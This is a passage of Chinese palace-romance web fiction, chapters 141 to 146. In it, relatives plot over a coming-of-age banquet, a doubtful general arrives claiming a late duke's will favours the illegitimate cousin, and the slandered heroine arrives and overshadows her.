而这位小郡主,有个京城中几乎人尽皆知的爱好。 便是喜好美男。 她今年年仅十九岁,身边的美少年、美青年,却已经换了一茬又一茬。 这些美男有自愿攀龙附凤的。 也有被霸王硬上弓的。 但不管哪一种,下场都不见得有多好。 没想到,沈翊文居然被这位女霸王给看上了。 姜南溪一时都不知道该说原身这位二表哥是运气好,还是不好了。 然而,金铃却笑不出来:“起先宣华郡主看上沈家二公子的时候,大家也是这么想的。” 第一百四十一章 及笄礼 “可谁都没想到,宣华郡主待沈家二公子却截然不同。” “她在沈家二公子面前收敛起了自己的脾气,待他温柔小意,将他引荐给朝中的大小官员,让他能够追随名师大儒学习。” “甚至,为了确保沈二公子的安全,她还将长公主府的侍卫都拨了一部分给沈二公子!” 是以,如今满京城的人都在说。 宣华郡主是浪女回头,对沈二公子一见钟情,情根深种了。 这位沈二公子,迟早会成为郡马的。 姜南溪:“……” 她扭头看向包围了碧清院的侍卫。 脸色慢慢沉了下来:“所以,这些人,都是长公主府的侍卫?” 金铃神色凝重地点头。 姜南溪冷笑一声:“沈翊文这是打定了主意,要把我困在碧清院,不让我去破坏姜思瑶的及笄宴啊!表哥做到这份上,可真是够贴心的!” 可这样的贴心,为什么不肯分一点给原身那个傻姑娘呢? 定远侯府就喜欢逮着老实人欺凌是吧? “小姐,奴婢这就给王爷传信,让他想办法……” 金铃的话还没说完,就被姜南溪的一个眼刀阻止。 姜南溪没好气道:“不用了,区区几个护卫而已,想困住我,做梦呢!” “我好妹妹的及笄宴,我就算踩着刀山火海,也必然是要准时参加的!” “否则怎么能在万众瞩目之下,给她一个大大的惊喜呢?” 到那时,姜思瑶与定远侯府欠原身的东西,也是时候该还回来一部分了! === 七月初九,是姜思瑶办及笄礼的日子。 定远侯府今日门庭若市、人头攒动。 凌婉茹坐在诸位夫人身边,含笑陪着说话。 思绪却有些飘远。 今日定远侯府张灯结彩,朱红的灯笼沿着府门一路高悬至庭院。 正厅被装点得典雅庄重。 红毯铺地,两侧花团锦簇,馥郁的鲜花绽于金樽,香气萦绕。 案几上,整齐摆放着崭新的笄、发梳、罗帕等礼器,皆精雕细琢、华美非常。 巳时刚过,侯府正厅中已然宾客如云,熙熙攘攘,热闹非凡。 而在两年前,府中也曾举办过及笄宴。 且是她唯一的掌上明珠,女儿沈玥彤的及笄宴。 那一日的场面也很热闹,布置、花销、摆设,都不逊于今日。 可唯有到场的宾客,远远没法与今日相比。 因为那时候的御王正如日中天。 而整个西楚无人不知无人不晓,御王萧墨宸憎恨整个定远侯府。 尤其是定远侯沈云峰和老太太柳蕙兰这对母子。 是以,满朝达官显贵,大多碍于御王的淫威,根本就不敢道贺。 以至于她宝贝女儿只能拥有一个表面风光,实则却被人在背地里指点笑话的及笄宴。 然两年后,物是人非。 曾经权势滔天,将她们整个定远侯府压得几乎喘不过气来的御王,已经成了个活不长的残废。 而他们定远侯,却因为攀上了祁家和楚家,而日渐兴盛。 凌婉茹大肆操办姜思瑶的这场及笄宴。 除了那个早就算计好的目的,未尝也没有扬眉吐气,打脸当初那些看不起定远侯府之人的意思。 只是便宜了姜思瑶那丫头。 不过是区区英国公府的庶女。 若非要从姜南溪手中夺走先皇赏赐。 若非姜思瑶是神医谷高徒,又得了那些贵人的青睐。 她是决计不会让一个外姓女的及笄宴,越过自家女儿去的。 正想的入神,忽听身旁一位平日与她交好的夫人道:“你们侯府倒也舍得,给一个孤女都办如此盛大的一场及笄宴。” 不仅仅是这厅堂院落的布置花销不小。 最重要的是今日到场的宾客,多半都非富即贵、身份不凡。 凌婉茹柔和一笑道:“我们也是心疼思瑶这孩子!明明也是英国公府的小姐,可却从小流落在外,受尽了颠沛流离之苦。” “偏这孩子自己特别争气,竟凭着自个儿的努力,就被神医谷看上,收为亲传弟子。” “习得一手出神入化的医术不说,还心地纯良,医者仁心。” “我啊,一看到她,便想起我那早逝的姐姐,心中就忍不住多偏疼她几分!” 凌婉茹做出伤心的样子,用帕子洇了洇眼角。 笑的越发矜持:“也或许是思瑶这孩子本身就着人疼,这不,被寻回来才一年,府中大大小小的仆从奴婢,都特别喜欢她。就连宫中的贵人,也对她多亲近几分。她那几个表哥,更是把她疼到了骨子里。” “这不,今日的这场及笄宴,我都没出多少力,都是她表哥一手操办的!说是心疼思瑶这孩子在外面受了太多苦,要是连个正儿八经的笄礼都没有,那也太委屈她了。” 凌婉茹几句话一说,就把这及笄礼的前因后果。 以及姜思瑶的价值,说了个清清楚楚。 周围的宾客当即没口子地称赞起姜思瑶来。 赞了一会儿后,就有人像是忽然想到了什么,忍不住道:“咦,说起来,今天是姜二小姐的及笄宴,怎地不见她姐姐南溪县主出来帮忙招待客人啊?” 凌婉茹闻言,脸上的笑容似乎变得勉强了几分。 一副强撑着的模样道:“这……南溪这丫头身体不太舒服,说是见着这热闹的场面头疼。我便让她留在院子里好好休息了。” 她这一番话,话里有话,周围的人都是人精,哪听不出弦外之音。 立刻就有人嘲讽出声:“呵呵,到底是见不得热闹场面,还是见不得自己妹妹好啊!” “说起来,同样是英国公遗孤,妹妹在外面颠沛流离、自强自立,姐姐却在这侯府中被你们一家人精心照顾,锦衣玉食,还养出了一身骄纵脾气。唉,当真是命运不公,命运不公啊!” “哼,岂止是命运不公,分明是有人鸠占鹊巢。那南溪县主虽为嫡女,可在侯府被精心教养了那么多年,却只教出那么个蠢笨放荡、不知自爱的东西,真是白费了先皇的赏赐和侯府的拳拳爱护之心。要我说,当初就该让先皇将赏赐和英国公的遗产都留给姜二小姐的,也免得被那位南溪县主给白白糟蹋了!” 第一百四十二章 风光无限的姜思瑶 说话的这人言辞锋锐刻薄。 骂完后才意识到凌婉茹就在旁边,不由赧然道:“抱歉,我不该这么说的……” 凌婉茹心中欣喜,面上却露出难过的神情,摆手道:“无妨,你也不过是直言直语罢了,我怎么会怪罪呢!唉,我的这个外甥女,我实在是……” “这段时日我也不是没劝过,教导过,可我越是劝导,她就越发觉得我偏向思瑶那丫头,反倒是越发与我对着干,那般言行无状的样子,哪里有半点当家主母的风范。如今我……唉,我当真是不知道该拿这丫头怎么办了!” 凌婉茹话音刚落,就听一旁响起一个娇俏的声音。 “这还不好办吗?既然南溪县主没资格成为世子夫人,做不得当家主母,那就让思瑶来代替她嫁给沈世子,履行先皇赐下的婚约,不就好了?” 说话的是个穿鹅黄色轻纱裙衫的少女。 她叫周雪雯,是太医院院判周元泰的小孙女,同时也是今日姜思瑶及笄礼的赞者。 周雪雯此时托着腮,露出天真笑容,脆生生道:“如今谁都看得出,沈世子喜欢的是思瑶妹妹,对于那位南溪县主的纠缠,沈世子烦都要烦死了。” “反正先皇的赐婚是让前英国公府的女郎与定远侯府结亲,思瑶妹妹端庄贤淑、冰雪聪明,又与沈世子郎才女貌、天作之合,岂不比那声名狼藉的县主,更配得上世子夫人的位置?” 周雪雯这一番话,宛如石子砸在湖水中,掀起一阵阵涟漪。 这一年来,姜思瑶声名鹊起。 她和沈翊轩名义上是表兄妹,两人经常在宫廷、宴席中出双入对。 虽在外没有亲昵接触、逾矩暧昧。 可两人眼波交汇时,情意绵绵,缠绵悱恻,是只要不眼瞎的人都能看出来的。 更何况,两人一个俊秀挺拔,温文儒雅。 一个娇美纯真,妩媚动人。 只要站在一起,便宛如一堆天造地设的璧人。 而姜南溪呢? 这些年,这位南溪县主在京城中,可谓名声大噪。 却没有半分美名,全是臭名昭著的恶名。 有在宫中失仪,被娘娘、太后责罚的。 有在宴会上吃罪了酒,丑态百出的。 有不慎落水,被侍卫救上来的。 甚至还有私下约会外男,恬不知耻在男子面前宽衣解带的。 这一桩桩一件件,拼成了众人脑海中一个水性杨花、不知廉耻,又蠢笨粗俗的少女形象。 是的,拼成! 因为许多人根本就记不得这两年的南溪县主究竟长什么样了。 也不知道从何时开始,这位南溪县主就越来越畏畏缩缩,上不得台面。 哪怕参加宴席的时候,也缩着肩膀,低着头,脸上戴着幂篱。 偶尔不小心幂篱被人撞落下来。 看到的却是起满红疹的脸。 于是慢慢的,众人只记得南溪县主很丑。 丑陋、畏缩、粗俗,登不得大雅之堂。 可偏偏却又轻佻放荡,爱勾引男人。 再一想到,这样肮脏丑陋的女人,却因为先皇的一道遗旨,就能嫁给玉树临风、前途无量的定远侯世子。 所有人心中都涌起了不平之意。 “周小姐说的不错,姜大小姐那等女子,哪里配得上沈世子?她要是稍微有点自知之明,就该将先皇赐婚,让给姜二小姐才对!” “是极!是极!南溪县主享受的那十年富贵生活,有一半可是从姜二小姐那偷来的。便是她的县主之位,原先也该有姜二小姐的一份。如今只是让她让出婚约和先皇赏赐,已经算是便宜她了。” 凌婉茹满意地听着周围人越来越义愤填膺的议论声。 很好,这便是她替姜思瑶举办及笄宴想要达到的效果。 先是让舆论沸腾。 再让祁家、楚家、柳家帮忙在太后、后宫娘娘那敲敲边鼓。 等时机成熟了,再向皇上提出交换赐婚对象的请求。 到时候,民意沸腾,便是皇上也无法阻止。 先皇的赏赐和英国公府留下的嫁妆,自然而然便会落到姜思瑶头上。 落在姜思瑶头上,也就相当于回到了她定远侯府手中。 到时候,她倒要看看,姜南溪还凭什么向她讨要嫁妆,又凭什么对她耀武扬威? 正说话间,钟磬之声悠悠响起。 及笄礼即将开始。 凌婉茹站起身,走到了祁老夫人所在的位置,恭敬的邀请老太太起身。 今日祁老夫人身着暗紫锦缎长袍,衣摆绣着繁复金线云纹。 满头银发一丝不苟地梳起,簪着翡翠步摇。 看上去全身行头贵不可言。 只是老太太的气色却不太好,双颊凹陷,眼底有妆粉都遮不住的青黑。 看到殷勤迎上来的凌婉茹。 老太太也丝毫没有好脸色,下巴微微扬起,神情颇为不耐烦。 凌婉茹上前搀扶住她,讨好笑道:“祁老夫人,您今日能来,可真是给我这侯府、给思瑶那丫头的及笄礼添了十足光彩!” 老太太却完全不买账,黑着脸道:“我家孙儿如今在镇北军受苦,你们一个个地全帮不上忙。” “却还要我这老婆子来给人当劳什子及笄礼的正宾,你们这是存心戳我心窝是吗?” 凌婉茹一张脸差点绷不住。 恨不得一口唾沫喷在这老虔婆脸上。 要知道,为了请这位祁老夫人给姜思瑶做正宾,加重“换婚”的筹码。 定远侯府可是付出了不小的代价。 谁知这老虔婆收钱的时候眉开眼笑,如今竟这般不给她面子。 也幸好祁老夫人声音不大,没被其他客人听到。 凌婉茹才能勉强维持住笑容,扶着祁老夫人来到中庭位置。 片刻后,就见姜思瑶在一众丫鬟与沈翊轩、沈翊文、沈翊武三兄弟的簇拥下,款款而来。 今日的她着一袭朱红织锦深衣,宽袖飘逸,衣缘绣着细密的连理枝,腰间束着玉带,愈发衬得身姿窈窕。 眉眼间略施粉黛,将本就清秀地容颜,点缀出七分天真,三分妩媚。 而站在她身旁的,则是今天刻意精心打扮过,越发显得俊美非凡的沈家三兄弟。 她被三兄弟簇拥在其中,受尽宠爱,荣光满身。 宛如最尊贵的公主! 第一百四十三章 乞丐上门 这一刻,厅堂中所有女子的眼中都露出艳羡的神情。 “未曾想,这位姜家二小姐竟然如此漂亮!” “我瞧这姜二小姐天生贵气,又兼有如此高的学医天赋,与那南溪县主截然不同。会否她才是圣手医仙的亲骨肉,真真正正的姜家嫡出小姐?” “若我是沈世子,有姜二小姐这般珠玉在前,我也瞧不上那个声名狼藉,还长相丑陋的南溪县主!” 宾客的赞叹声、嫉妒声、议论声,悉数都传入到了姜思瑶的耳中。 姜思瑶只觉全身心说不出地舒畅、愉悦。 视线与一旁的沈翊轩对上。 姜思瑶眼波流转,情意绵绵。 沈翊轩立刻便神思恍惚,随后回以温柔又缠绵的深情凝望。 他甚至顾不得如今那么多宾客在场。 悄悄往她身边凑近了少许。 借着宽大袍袖遮掩,捏住了她柔弱无骨的小手。 压低声音道:“瑶瑶,待这场及笄宴结束,我俩的婚期,是不是该提上日程了?” 姜思瑶面上一红,一双小鹿似得眼睛惊喜地看向沈翊轩。 娇美的脸上满是羞涩和喜悦。 但随即,她像是想到了什么,脸上的笑容收敛起来:“可是,姐姐……” “这种大喜的日子,提她做什么?” 沈翊轩不悦地打断她,“瑶瑶,我早说过,我心中只有你。若要我履行与英国公府的婚约,那婚约对象就只能是你。母亲已经同意,待及笄宴后,就向皇上提出换亲一事。” “至于南溪……她若是还有点自知之明,念在那么多年兄妹之情上,我便将她收在房中做个妾侍,也不是不可。” “但瑶瑶你放心,无论如何,在我心里,她都是越不过你去的!” 想到姜南溪还能成为沈翊轩的妾侍。 而不是被一个低贱的混混随意糟蹋掉。 姜思瑶心中还是有些不爽。 但她面上却丝毫没有表现出来,反而显得越发羞怯温柔。 “翊轩哥哥,这些事还是等及笄宴结束后再说吧,席上那么多人都看着我们呢!” 沈翊轩心中激荡,正想说:我的心意可昭日月,旁人要看便看吧! 然而就在这时,府门处却突然传来一阵喧闹声。 “站住?谁让你往里闯的?你有请柬吗?” 门口处传来门房阿昌的厉喝声。 紧接着是一个沧桑的男子声音:“我听说今日是英国公府二小姐举办及笄宴的日子,是真的吗?这里面举办的,可是姜二小姐的及笄宴?” “自然是!” “那,那你快让我进去,我要见姜二小姐!” 院门处的喧闹声,吸引了府中众宾客的注意力。 就连那些爱慕沈家兄弟,艳羡姜思瑶的女郎们,都把视线从中庭挪到了门房。 众人这才发现,门口处站了个身形高大的中年男子。 只见他胡子拉碴,眼神浑浊,满身酒气。 身上的衣服也是破破烂烂的,沾满了尘埃。 若非此人身上还散发着一股不太好惹的凶悍之气,众人都要误以为这就是个乞丐了。 只见他一边嚷嚷着要见姜二小姐,一边就要往里挤。 门房阿昌发起怒来:“你干嘛?你干嘛?知道这是什么地方吗?竟也敢乱闯?今日是我们府中思瑶小姐重要的及笄宴,坐在里头的可都是贵客,你要是进去冲撞了贵人,我要你吃不了兜着走!” 说着,阿昌用力推了男人一下。 男人似乎极其疲倦,这一推,竟真的被推得趔趄了一下。 可他却非但没有放弃的意思,反而连双眼都微微发红了。 整个人仿佛不顾一切般往里冲:“让开,快让我见姜二小姐!” “我好不容易从江州赶来这里,就是为了见二小姐一面。你让我进去,让我见二小姐,末将……我,我有很重要的事情,必须亲口告诉她!” 阿昌这边的动静,让不少侯府的小厮和侍卫都聚集过来。 有那脾气火爆的衣角踹翻了中年男人,咒骂道:“哪来的臭乞丐,怎么那么大脸,竟然也敢撒谎说认识我们思瑶小姐。招摇撞骗的狗东西,还不快滚!” 说着竟还走上前去,抬脚要往中年男人头上踹去。 “等一下!” 然而,就在这时,一道娇柔悦耳的声音从后方传来。 就见一身华服的姜思瑶在婢女倚翠的搀扶下款款走上前来。 她看着倒地的肮脏中年男人,目中露出不忍的神色:“阿昌,你们别打他,让他进来吧!” “思瑶!”一旁的沈翊文露出不赞同的神情,“如今都不知道这男人是何身份来历,怎么能随便让他进来呢!” 姜思瑶抓住他的手,轻轻晃了晃,娇嗔道:“二表哥,今天是我的及笄宴,愿意来给我祝贺的,都是我的客人。” “这位大叔或许真的撒谎了,但他大概……大概只是渴了、饿了,想来我们侯府讨杯酒水吃。若是就这样把他赶走了,那他岂不是太可怜了吗?” “有人在我的及笄宴如此可怜,那思瑶也不会开心的。二表哥,你就答应思瑶,让他进来吃杯酒好不好?” 沈翊文忍不住伸出手,在她额头上轻点了一下:“你啊,就是太善良了!所以才总被人那么欺负!” 姜思瑶娇娇笑道:“没关系,思瑶有二表哥护着,没有人敢欺负我的!” 沈翊文无奈又宠溺地笑看着她,显然是同意了。 姜思瑶:“阿昌,你让他进来吧,带他去最后面那桌好好吃点东西。” 门房闻言,不得不把中年男人放进来。 然而,这男人进院门后却没有按照婢女的指引往最偏远的坐位去。 而是突然跌跌撞撞朝姜思瑶冲过来。 姜思瑶被吓了一跳,下意识往沈翊轩身边躲。 口中发出娇娇地惊呼声:“你,你干什么?” 沈翊轩连忙伸手把她揽入怀中:“思瑶别怕!” 谁知这男人冲到姜思瑶面前后,盯着她的脸看了一阵。 突然便噗通一声跪了下来:“末将蒋威,参见二小姐!” 这一声呼喝,声如擂鼓。 让整个定远侯府中的客人,全都听了个清清楚楚。 第一百四十四章 英国公的遗愿 众人面面相觑,都露出惊诧的表情。 蒋威? 这是什么人? 姜思瑶也怯生生地从沈翊轩怀里探出脑袋,疑惑道:“你……你认识我?你是何人?” 叫蒋威的中年男人抬起头,浑浊布满红血丝的双眼竟噙满了泪水。 “末将蒋威,乃是前英国公身边的亲信副将!” “二小姐,这些年末将一直在寻找您啊!没想到您竟然来了京城,还出落得如此优秀漂亮,国公爷在天有灵,也能安息了!” 说着一个大男人竟然低低哭起来。 而他的这一番话,也在众宾客中掀起了滔天巨浪。 “英国公身边的副将?此事是真是假?莫不是冒充的吧?” “我记得当年英国公身边确实有个叫蒋威的副将,这男人的长相,细细看来,也确实有些眼熟!” 姜思瑶:“你当真是我爹爹身边的副将?” 蒋威连连点头。 甚至抽出一把匕首,在众人震惊的目光中,把自己的胡子都剃掉了。 “末将跟在国公身边的时候未有蓄须,这样应该就有人能认出末将了。” “末将便是国公爷的亲信,绝不敢有任何诓骗二小姐之言的!” 他这胡子一剃掉,立刻便有人惊叫出声。 “对对,我认得这张脸,以前英国公身边确实有这么号人!” “真是没想到,都过去十年了,竟还有英国公身边的副将找到京城来!我还以为国公爷身边的心腹,在当年一役,早已死伤殆尽了呢!没想到竟还有人活了下来,还在十年后找到京城来寻国公爷遗孤了。” “咦,不对啊!既然是寻英国公遗孤,为何找的不是南溪县主,而是这位姜家二小姐?我记得在姜二小姐拿着信物和英国公的亲笔信找上门来前,世人皆不知英国公府还有个流落在外的庶出二小姐吧?” 众人的疑问,也被姜思瑶问了出来。 “你一直在找我?为何?” 蒋威抹了一把眼泪道:“因为在国公爷临死前,末将就伴在国公爷身侧,国公爷曾在死前给末将留下遗言,让末将务必要寻找到二小姐您的下落。” “国公爷说,二小姐您的母亲对他有恩,但他又不愿对不起夫人,所以迟迟未将你们母女接回府中。或许二小姐您母亲也是不想国公爷为难,所以早在二小姐您很小的时候,就带着您悄悄离开了。” “可也正是二夫人这一走,才让国公爷心中生出愧疚。在死前许多年,国公爷一直让人在暗中四处寻找二小姐你们母女。” “直到临死前,二小姐你们母女的安危,都是国公爷最挂心的事情之一。” 随着蒋威的叙述,姜思瑶的眼泪已经如晶莹的珠子一般从眼眶滚落下来。 因为心绪激动,她甚至全身酸软,连站都站不稳。 只能让沈翊轩搂在怀中。 她双目含泪,哽咽道:“爹爹他,他当真曾挂念我和我娘吗?” 蒋威信誓旦旦道:“末将敢以性命担保,所说句句属实,没有半点虚言!” 随即又道:“国公爷临终前,还嘱咐末将,一定要找到二小姐,然后将他的遗言转告二小姐您和大小姐。” “只是这些年末将找遍了西楚各地,却始终没有寻到二小姐你们母女的半点消息。” “末将还以为,二小姐你已经遭遇不测,我这辈子都不可能再完成国公爷的遗命了!” “是以末将这些年才越来越颓废萎靡,只想呆在江州了此残生!” “可没想到,就在几个月前,末将竟无意中听到姜家二小姐寻亲寻到了定远侯府的消息,这才千里迢迢从江州赶过来!” “这一路上,末将都怕这一切只是误会,是有人冒充二小姐!” “可方才一看到二小姐的脸,末将就知道,您是国公爷的骨肉,绝不是冒充的!因为末将曾经便在国公爷的书房中,见过一副女子画像,那画像与二小姐您有五六分相像,想必就是二小姐您的母亲了!” 姜思瑶哭的泣不成声。 整个人依偎在沈翊轩怀中,呜呜咽咽道:“翊轩哥哥,你听到没有?爹爹没有忘了我和我娘,这些年,爹爹都未曾忘了思瑶。呜呜呜……娘九泉之下知道了,不知该有多开心啊!呜呜呜……” 沈翊轩心疼地把她搂在怀中,连声道:“思瑶,快别哭了!你那么温柔善良,惹人怜爱,谁又能不喜欢你,不惦着你呢?你快问问,姨夫临死前究竟给你留了什么遗言?” 姜思瑶这才破涕为笑。 泪汪汪的看向蒋威,声音娇软天真道:“蒋叔叔,我爹爹死前究竟留了什么话给我?是不是让我不要和姐姐争,要与姐姐好好相处,相互扶持?你放心,我绝不会和姐姐争任何东西的,她是尊贵的嫡女……” “不!” 蒋威却打断了她的话,颇有些激动道:“国公爷的遗言不是让你莫要与大小姐争,而是说,他愧对了你们母女一辈子,临终前只想要好好补偿你们母女。” “是以国公爷说,他死后,国公府的嫁妆一分为二,四成归大小姐,六成则都归二小姐您!” “另外国公爷还说,这些年让你们母女在外颠沛流离,未能报答你娘的救命之恩,他心中实在愧疚。若是让二小姐您继续当身份卑微的庶女,他实在心疼不舍。” “故而国公爷希望将您记在夫人名下,若有一日出嫁,就以嫡女的名分,十里红妆,风风光光地嫁人!” 蒋威此言一出,等如在整个宴席上掀起了惊涛骇浪。 姜思瑶一把捂住嘴,难以置信地惊呼道:“爹爹,爹爹当真曾这样说过?” 就连凌婉茹也做出一副震惊地回不过神来的表情,喃喃道:“英国公当真留下过这种遗言?” 在场的宾客也都面面相觑,窃窃私语。 “这,不可能吧?当年英国公和凌医仙为护驾先皇牺牲,情况那般紧急,哪来得及留下这些遗言啊?” “而且口说无凭,又过了这么多年了,才跑出来说?” “若是真有遗言,当年怎地不说?” 第一百四十五章 嫁妆和先皇赐婚的归属 在场的都是人精,当然不会被蒋威三两句话就说的相信了。 尤其是,蒋威根本就没有遗书、亲笔信这般的证据。 而是只靠嘴巴说。 且是过了快十年才来说。 这遗言,怎么听,怎么透露着荒谬。 然而,就在这时,凌婉茹却突然道:“我想起来了,蒋威你当年是不是请求求见先皇,说有妹夫的遗言要上呈天听。可那时先皇震怒,正在彻查謀逆的叛贼,我们又只顾着伤心和料理后事,便没人顾得上你。” “后来还因为你太过烦人,最终被禁卫军赶出了京城?” 蒋威苦笑一声道:“正是如此,侯夫人好记性。当时末将想着,如今京城一团纷乱,无人愿意听国公爷的留言。那末将就先去寻找到二小姐,然后带着二小姐去圣上面前,再将国公爷的遗言原原本本地说出来。” “可谁知,这一找就是经年,末将踏遍楚国上下,都寻不到二小姐的踪迹。自觉愧对国公爷,所以才十年都无脸回京城!” “但末将敢保证,今日所说,绝没有一句假话!” 说着,蒋威单手举起,做出指天誓日的姿态。 大声道:“我蒋威在此发誓,今日所言国公爷遗言,句句属实,如有半句虚言,让我天打雷劈,不得好死!” 有凌婉茹这个英国公的小姨子背书。 再加上蒋威言之凿凿、发下毒誓。 在场的宾客,不由也信了三分。 当然最重要的是,若这份遗嘱为真,真正会有利益损失的,唯姜家大小姐姜南溪一人。 可姜家大小姐虽贵为县主,却声名狼藉。 这么多年在京城中也没有积累起半点人脉资源。 对于在场的人来说,姜南溪是没有任何价值的。 相反的,姜思瑶却是炙手可热。 深受宫中贵人们的喜爱。 再加上,定远侯府显然如今也是更看重这位国公府二小姐的。 只要交好了姜思瑶,就等于交好了定远侯府。 将来也必是会有不少好处的。 想通了这其中的关节。 宾客们立刻便有人喧哗起来。 “蒋副将当真是忠仆啊,时隔十年,竟然还千里迢迢送来国公爷的遗嘱!” “唉,这么说起来,姜二小姐可是受了大委屈了。既然她也是嫡女,那当年先皇的赏赐和赐婚,理该也有她一份的。” “是啊,如今县主之位被姜大小姐占了不说,连先皇赐婚也便宜了姜大小姐,这未免也太不公平了!” “那位姜大小姐在京城享受国公府余荫十年之久,就等于已经提前支取了本该属于她的那份遗产。既然国公爷说,六成的遗产给姜二小姐,那剩下的嫁妆和先皇赐婚,理该全给姜二小姐才对!” “不错不错,先皇赐婚和国公府的嫁妆,该全都给姜二小姐的!” 听着宾客们的议论声。 凌婉茹嘴角微微上扬。 姜南溪想要回国公府的嫁妆,做梦呢! 那是属于她定远侯府的! 也只会留在定远侯府! 姜思瑶心中狂喜,但面上却哭的泪水连连,梨花带雨:“翊轩哥哥,我……我真的没想到,爹爹竟然会那样记挂我,哪怕临死前,都还想留给我那么多东西。我,我真的好开心。可是……” 她说着,又露出了忧愁的神色:“可是,国公府的一切和婚约,本该是姐姐的,我若是遵照父亲的遗愿分走了,会不会不好?那样姐姐会很伤心的,不,我还是不要了……” 然而,不等她说完,就被沈翊轩一把握住了小手。 厉声打断:“思瑶,莫要说了,你让给南溪的东西,难道还不够多吗?” “即便你不要拿六成的嫁妆,莫非……莫非连和我的婚约也不要了吗?” 说着,沈翊轩突然一转身,朝着众宾客抱拳拱手道:“诸位,我沈翊轩今日当着众人的面表明心意,与南溪表妹的婚约,非我本愿,从始至终,我只当她是我的妹妹而已。” “若父亲和母亲非要我履行先皇赐婚,那我的婚约对象……” 他扭头看着姜思瑶,情深款款道:“也只会是思瑶表妹!” “此心昭昭,日月可鉴!也请在座宾客,为我沈翊轩做见证!” 宴会上刚刚平息了几分的气氛,因为沈翊轩的几句话,再次沸腾起来。 其实西楚国的民风还算开放。 只要不是大庭广众伤风败俗,或是当真行那苟且之事。 男女之间游湖相看,诗文传情,也算是一种佳话。 可如沈翊轩这般大庭广众表明情意的,众人还真没怎么见过。 席上不少少女看向姜思瑶的目光充满了羡慕嫉妒恨。 小小庶女,却能嫁给沈翊轩这样的青年才俊,定远侯府世子。 让多少待嫁女郎红了眼。 也有人忍不住调笑道:“南溪县主与沈世子青梅竹马近十年,都不能让沈世子动情。没想到姜二小姐只来了京城不到两年,就俘获了沈世子的心!” “哈哈,谁让姜二小姐冰雪聪明、容色姝丽,而南溪县主却是个无才无德的丑八怪呢?” “是啊,我若是沈世子,我也选姜二小姐啊!” 在场的人都恭维着姜思瑶,羡慕着姜思瑶,宠溺着姜思瑶。 唯有沈翊武眉头皱成了一团。 谁说南溪表姐是丑八怪的? “南溪表姐才不是丑八怪呢!” 他喊出了声,可惜,周围一片喧闹,根本就没人理会他。 凌婉茹噙着满意的笑,牵着姜思瑶重新来到中庭。 沈翊轩和沈翊文则亦步亦趋跟在姜思瑶身后,犹如守护最珍贵的宝贝。 万千宠爱,聚于一身。 满堂艳羡,无人企及。 姜思瑶只觉得自己这辈子从未有如此舒心、如此畅快过。 今日过后,再无人会记得她只是国公府的庶女。 所有人提起国公府遗孤,只会想到她姜思瑶。 而姜南溪,只是个声名狼藉,被未婚夫厌弃的丑八怪而已! 姜思瑶笑靥如花,等着祁老夫人过来给她加笄。 给她今日的荣光上,点缀上最后一颗璀璨的珍珠。 然而下一刻,姜思瑶却意识到了不对劲。 宴席中原本正艳羡看着她的众人,目光竟不知何时偏移了。 她们越过她,死死盯着她的身后,眼中迸射出难以置信地惊艳光芒。 她们在看她身后? 她身后有什么? 第一百四十六章 惊艳全场的南溪县主 姜思瑶猛地转过身去。 霎那间,她的瞳孔剧烈收缩,精心雕饰过的脸因为极度的惊怒,近乎扭曲。 灿烂午阳下,只见一个身着月白色云锦长裙的少女款款走来。 裙摆如流云般拖曳在地,每一步走动都好似在云间漫步。 裙上用银线绣着精致的兰花图案。 在阳光的映照下闪烁着柔和的光芒。 与她那如羊脂玉般白皙的肌肤相互映衬,更显高贵典雅。 少女的头发被高高挽起,梳成了一个复杂而精致的凌云髻。 鬓边两缕微卷乌发垂落,将那本就清理绝俗的容颜,衬得越发精致昳丽。 眉如远黛,眸若星辰,鼻梁挺直,唇若樱桃。 举手投足间不见故作的矜持与端雅,却每一步,每一动,都给人一种从容不迫、风华绝代的高贵之感。 众人的视线一瞬不瞬望着这美到让人目眩神迷的少女。 又不自觉地将视线挪回来,与盛装打扮的姜思瑶比较。 霎时间,刚刚还让他们惊艳不已的姜思瑶。 在这少女的衬托下,突然便显得淡了、庸俗了。 就好似尾羽绚烂夺目的山鸡固然漂亮。 可与凤凰摆在一起比较,就会黯然失色,让人再也看不见山鸡分毫。 人群在一阵短暂的静寂后,有人忍不住爆发出一阵惊呼。 “这位便是定远侯府的沈大小姐吗?以前怎地从未有人说过,沈大小姐有如此天人之姿?” 这姿容、这气度,说一句京城第一美女都不为过吧? 但很快就有人反驳:“不对吧?我曾见过沈大小姐,可沈大小姐不长这样啊?” “那这位小姐究竟是谁?” “京城中何曾有过这般神仙般的女娘?” 周围人的议论声,赞叹声,尽皆传入了姜思瑶耳中。 上一刻她又多万众瞩目、得意洋洋。 此刻就有多愤恨难堪! 姜南溪! 来的人竟是姜南溪! 她怎么会来她的及笄宴? 她怎么能来她的及笄宴? 还是打扮的这般花枝招展的模样。 二表哥不是答应过,绝不会让她出现的吗? 姜思瑶带着委屈的怒意看向沈翊轩和沈翊文两兄弟。 然而,这一次,向来时时刻刻宠着她,关注她需求的两人。 却仿佛被人夺了魂魄一般。 只呆呆的看着前方。 尤其是沈翊轩,他双目圆睁,嘴巴微张。 脸上露出了难以掩饰的惊艳之色。 心中更是掀起了惊涛骇浪。 这是他第一次见到姜南溪盛装打扮的模样。 他也知道自己的这个小表妹长得好看,甚至比姜思瑶容貌更出色几分。 可沈翊轩从不知道,姜南溪竟然能美到这般模样。 美到,他的心脏都身不由己地砰砰砰剧烈跳动起来。 姜思瑶看着沈翊轩那仿佛丢了魂一般的模样。 双手猛然攥成拳头,指甲深深嵌入掌心。 她强压下心头疯狂的嫉恨,正要暗示凌婉茹尽快想办法将姜南溪控制起来。 却听一道兴奋的稚嫩童声在一片寂静中响起。 “南溪表姐,你怎么现在才来啊!” 只见沈翊武激动地冲到姜南溪面前。 完全不顾姜南溪的不待见,扬起下巴,一副斗胜了的大公鸡模样。 得意洋洋大声道:“我倒要看看,现在你们谁还敢说我南溪表姐是丑八怪!” “什么?!” “此人是南溪县主?!” “这怎么可能?!” 沈翊武的童言炫耀,霎时间在宾客中掀起了惊涛骇浪。 眼前这个容色倾城,硬生生把姜思瑶衬托成山鸡的少女,怎么可能是传闻中无才无貌、上不得台面的南溪县主? “不是说南溪县主是丑八怪吗?” “可如今看来,这容貌气度,分明完全盖过了姜二小姐啊!” 这议论声传入耳中,姜思瑶气的眼圈都红了。 原本看入了神的沈翊文瞥到她委屈的模样,霎时醒过神来。 他脸色猛地一沉,大步走上前,厉声道:“姜南溪,我不是说过,今日不许你来思瑶的及笄宴捣乱吗?谁准你来前厅的?你现在马上便给我回碧清院,听到没有!” 语言神态之中,已经隐含威胁之意。 